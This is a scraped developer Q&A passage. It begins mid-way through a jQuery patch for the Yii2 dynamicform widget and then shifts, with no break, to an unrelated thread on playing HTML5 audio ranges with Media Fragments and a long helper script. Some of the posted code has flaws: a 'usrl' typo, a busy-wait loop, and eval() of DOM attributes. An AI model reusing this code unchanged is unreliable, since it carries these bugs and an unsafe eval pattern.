$(this).removeData().off();
$(this).unbind();
_restoreKrajeeDepdrop($(this));
}
var configDepdrop = eval($(this).attr('data-krajee-depdrop'));
$(this).depdrop(configDepdrop);
});
}
// "kartik-v/yii2-widget-select2"
var $hasSelect2 = $(widgetOptionsRoot.widgetItem).find('[data-krajee-select2]');
if ($hasSelect2.length > 0) {
$hasSelect2.each(function() {
var id = $(this).attr('id');
var configSelect2 = eval($(this).attr('data-krajee-select2'));
$.when($('#' + id).select2(configSelect2)).done(initS2Loading(id));
$('#' + id).on('select2-open', function() {
initSelect2DropStyle(id)
});
if ($(this).attr('data-krajee-depdrop')) {
$(this).on('depdrop.beforeChange', function(e,i,v) {
var configDepdrop = eval($(this).attr('data-krajee-depdrop'));
var loadingText = (configDepdrop.loadingText)? configDepdrop.loadingText : 'Loading ...';
$('#' + id).select2('data', {text: loadingText});
});
$(this).on('depdrop.change', function(e,i,v,c) {
$('#' + id).select2('val', $('#' + id).val());
});
}
});
}
};
})(window.jQuery);
It's working well on my end.
I've found a solution to remove the spinning icon on the select2. I've removed the 'id' from select2 widget in my _form and that resolved this issue.
Instead of doing changes in vendor's code there is new repo with issue fixes.
Link => https://packagist.org/packages/vivekmarakana/yii2-dynamicform
Either run
php composer.phar require --prefer-dist vivekmarakana/yii2-dynamicform "*"
or add
"vivekmarakana/yii2-dynamicform": "*"
to the require section of your composer.json file.

play audio range in html5

I would like to be able to have buttons that can play certain audio ranges from a larger file. Something like:
<button onclick="playClip('http://blah/source1.mp3', 2.5, 3.0, 1.0)">Play clip 1</button>
<button onclick="playClip('http://blah/source2.mp3', 10.0, 2.0, 0.5)">Play clip 2 slow</button>
where playClip has a pattern like this:
function playClip(src, startOffset, length, rate) {
// What to put here?
}
Or instead of a length, an ending offset.
Can some one point me to code that can do that, or help me write it? The closest I could find is https://gist.github.com/remy/753003/download# but I need different sized clips, from possibly different files, and with a playback rate specified. I'm afraid I've limited experience with Javascript.
I'm trying to replace a Silverlight app that does this.
Thanks.
-John
Either use Media Fragments URI syntax:
var src,
startOffset,
endOffset,
playbackRate,
audio = new Audio(src + '#t=' + startOffset + ',' + endOffset);
audio.onloadedmetadata = function() {
audio.playbackRate = playbackRate;
audio.play();
};
or timeupdate event:
var audio = new Audio( ... ),
startOffset,
endOffset,
playbackRate;
audio.onloadedmetadata = function() {
audio.playbackRate = playbackRate;
audio.currentTime = startOffset;
audio.play();
};
audio.ontimeupdate = function() {
if (audio.currentTime >= endOffset) {
audio.pause();
}
};
References:
Specifying playback range
Jumping to time offsets in HTML5 video
Here's an extract of my current code, which uses both the audio control's events and timeout to make sure the audio stops. There's a reference to a volume slider you might need to trim.
var jt_audioControl;
var jt_audioSource;
var jt_audioFiles;
var jt_audioFileIndex;
var jt_audioFile;
var jt_audioStartTime;
var jt_audioEndTime;
var jt_audioPlaybackRate;
var jt_audioTimeoutHandle;
var jt_audioLink;
var jt_audioMimeType;
var jt_audioMediaType;
var jt_volumeSlider;
function jt_onAudioTimeUpdate() {
if (jt_audioEndTime > 0.0) {
if (jt_audioControl.currentTime >= jt_audioEndTime) {
//alert('stopped: jt_audioControl.currentTime = ' + jt_audioControl.currentTime + ' jt_audioEndTime = ' + jt_audioEndTime);
jt_audioControl.pause();
//jt_audioStartTime = jt_audioEndTime = 0.0;
}
}
}
function jt_onAudioCanPlay() {
jt_audioControl.pause();
jt_audioControl.currentTime = jt_audioStartTime;
jt_audioControl.defaultPlaybackRate = jt_audioPlaybackRate;
jt_audioControl.playbackRate = jt_audioPlaybackRate;
jt_audioControl.play();
jt_audioControl.currentTime = jt_audioStartTime;
jt_volumeSliderChanged(); // Set initial value to slider.
var timeout = (((jt_audioEndTime - jt_audioStartTime)) / jt_audioPlaybackRate) * 1000;
//alert('jt_audioEndTime = ' + jt_audioEndTime + ', timeout = ' + timeout);
if (jt_audioEndTime > 0.0) {
jt_audioTimeoutHandle = setTimeout(jt_onAudioEnded, timeout);
//alert('jt_audioTimeoutHandle = ' + jt_audioTimeoutHandle);
}
else if (jt_audioTimeoutHandle != null) {
clearTimeout(jt_audioTimeoutHandle);
jt_audioTimeoutHandle = null;
}
}
function jt_onAudioEnded() {
//alert('ended called');
if (jt_audioFiles == null)
return;
while (jt_audioControl.position < jt_audioControl.duration)
;
jt_audioFileIndex = jt_audioFileIndex + 1;
if (jt_audioFileIndex < jt_audioFiles.length) {
jt_createAudio(jt_audioFiles[jt_audioFileIndex]);
}
else {
jt_audioControl.pause();
jt_audioFiles = null;
jt_audioFileIndex = 0;
}
}
function jt_onAudioError(e) {
var msg;
switch (e.target.error.code) {
case e.target.error.MEDIA_ERR_ABORTED:
msg = 'You aborted the video playback.';
break;
case e.target.error.MEDIA_ERR_NETWORK:
msg = 'A network error caused the video download to fail part-way.';
break;
case e.target.error.MEDIA_ERR_DECODE:
msg = 'The video playback was aborted due to a corruption problem or because the video used features your browser did not support.';
break;
case e.target.error.MEDIA_ERR_SRC_NOT_SUPPORTED:
msg = 'The video could not be loaded, either because the server or network failed or because the format is not supported.';
break;
default:
msg = 'An unknown error occurred.';
break;
}
alert('Error loading media: ' + msg + ' Media file: ' + jt_audioFile + ' MIME type: ' + jt_audioMimeType);
}
function jt_addSource(url) {
var srcUrl;
var doConvertCheck = false;
var offset = url.lastIndexOf(".");
if (offset == -1) {
if (jt_audioSource == null) {
jt_audioSource = document.createElement('source');
jt_audioControl.appendChild(jt_audioSource);
}
jt_audioMimeType = 'audio/mpeg3';
jt_audioMediaType = 'audio/mpeg3';
jt_audioSource.type = jt_audioMediaType;
jt_audioSource.src = url;
jt_audioControl.load();
return;
}
var base = url.substr(0, offset);
var ext = url.substr(offset).toLowerCase();
var newExt = ext;
if (jt_audioControl.canPlayType('audio/mpeg3')) {
jt_audioMimeType = 'audio/mpeg3';
jt_audioMediaType = 'audio/mpeg3';
if (ext != '.mp3')
newExt = '-aa.mp3';
}
else if (jt_audioControl.canPlayType('audio/mpeg')) {
jt_audioMimeType = 'audio/mpeg3';
jt_audioMediaType = 'audio/mpeg';
if (ext != '.mp3')
newExt = '-aa.mp3';
}
else if (jt_audioControl.canPlayType('audio/mp3')) {
jt_audioMimeType = 'audio/mpeg3';
jt_audioMediaType = 'audio/mp3';
if (ext != '.mp3')
newExt = '-aa.mp3';
}
else if (jt_audioControl.canPlayType('audio/ogg')) {
jt_audioMimeType = 'audio/ogg';
jt_audioMediaType = 'audio/ogg';
if (ext != '.ogg')
newExt = '-aa.ogg';
}
else {
alert('Sorry, can not play file: ' + url);
}
srcUrl = base + newExt;
if (srcUrl.lastIndexOf('~', 0) === 0) {
if (window.location.hostname == '') {
srcUrl = srcUrl.substr(2);
}
else {
var url = 'http://' + window.location.hostname;
if (window.location.port.toString() != '')
url = usrl + ':' + window.location.port.toString()
srcUrl = url + srcUrl.substr(1);
}
}
//alert('srcUrl = ' + srcUrl);
if (jt_audioSource == null) {
jt_audioSource = document.createElement('source');
jt_audioControl.appendChild(jt_audioSource);
}
jt_audioSource.type = jt_audioMediaType;
if (doConvertCheck) {
jt_audioLink = "/ConvertCheck?path=" + srcUrl + "&" + "mimeType=" + jt_audioMimeType
jt_audioSource.src = jt_audioLink;
}
else {
jt_audioSource.src = srcUrl;
}
jt_audioControl.load();
}
function jt_extractTimeRange(url) {
var rangeFieldIndex = url.lastIndexOf("#t");
if (rangeFieldIndex >= 0) {
var rangeString = url.substr(rangeFieldIndex + 2);
var range = rangeString.split(',');
jt_audioStartTime = parseFloat(range[0]);
jt_audioEndTime = parseFloat(range[1]);
}
else {
jt_audioStartTime = 0.0;
jt_audioEndTime = 0.0;
return url;
}
return url.substr(0, rangeFieldIndex);
}
function jt_createAudio(url) {
url = jt_extractTimeRange(url);
if (jt_audioControl == null) {
jt_audioFile = url;
jt_audioControl = new Audio();
// The ontimeupdate handler seems to be called unreliably, so we'll use
// setTimeout as well in the oncanplay handler.
jt_audioControl.ontimeupdate = jt_onAudioTimeUpdate;
jt_audioControl.onloadedmetadata = jt_onAudioCanPlay;
jt_audioControl.onended = jt_onAudioEnded;
jt_audioControl.onerror = jt_onAudioError;
jt_addSource(url);
// We'll let the oncanplay call play once loaded.
}
else if (jt_audioFile != url) {
jt_audioFile = url;
jt_addSource(url);
}
else {
//jt_onAudioLoaded();
jt_audioControl.load();
}
}
function jt_playAudioFile(url) {
jt_audioFiles = null;
jt_audioFileIndex = 0;
jt_audioStartTime = 0.0;
jt_audioEndTime = 0.0;
jt_audioPlaybackRate = 1.0;
jt_createAudio(url);
}
function jt_playSlowAudioFile(url) {
jt_audioFiles = null;
jt_audioFileIndex = 0;
jt_audioStartTime = 0.0;
jt_audioEndTime = 0.0;
jt_audioPlaybackRate = 0.5;
jt_createAudio(url);
}
function jt_playAudioFileList(urls) {
jt_audioFiles = urls;
jt_audioFileIndex = 0;
jt_audioStartTime = 0.0;
jt_audioEndTime = 0.0;
jt_audioPlaybackRate = 1.0;
if ((urls != null) && (urls.length > 0)) {
jt_createAudio(urls[0]);
}
}
function jt_playSlowAudioFileList(urls) {
jt_audioFiles = urls;
jt_audioFileIndex = 0;
jt_audioStartTime = 0.0;
jt_audioEndTime = 0.0;
jt_audioPlaybackRate = 0.5;
if ((urls != null) && (urls.length > 0)) {
jt_createAudio(urls[0]);
}
}
function jt_playAudioFileSegment(url, startTime, endTime) {
jt_audioFiles = null;
jt_audioFileIndex = 0;
url = url + '#t' + startTime.toString() + ',' + endTime.toString();
jt_audioPlaybackRate = 1.0;
jt_createAudio(url);
}
function jt_playSlowAudioFileSegment(url, startTime, endTime) {
jt_audioFiles = null;
jt_audioFileIndex = 0;
url = url + '#t' + startTime.toString() + ',' + endTime.toString();
jt_audioPlaybackRate = 0.5;
jt_createAudio(url);
}
function jt_stopAudio() {
if (jt_audioControl != null)
jt_audioControl.pause();
}
function jt_volumeSliderChanged() {
if (jt_volumeSlider == null) {
jt_volumeSlider = document.getElementById('volumeSlider');
if (jt_volumeSlider == null)
return;
}
var value = jt_volumeSlider.value;
if (jt_audioControl != null)
jt_audioControl.volume = value / 10;
$.ajax({
url: "/Common/SetUserOptionAjax?key=AudioVolume&value=" + value.toString(),
type: "POST"
});
}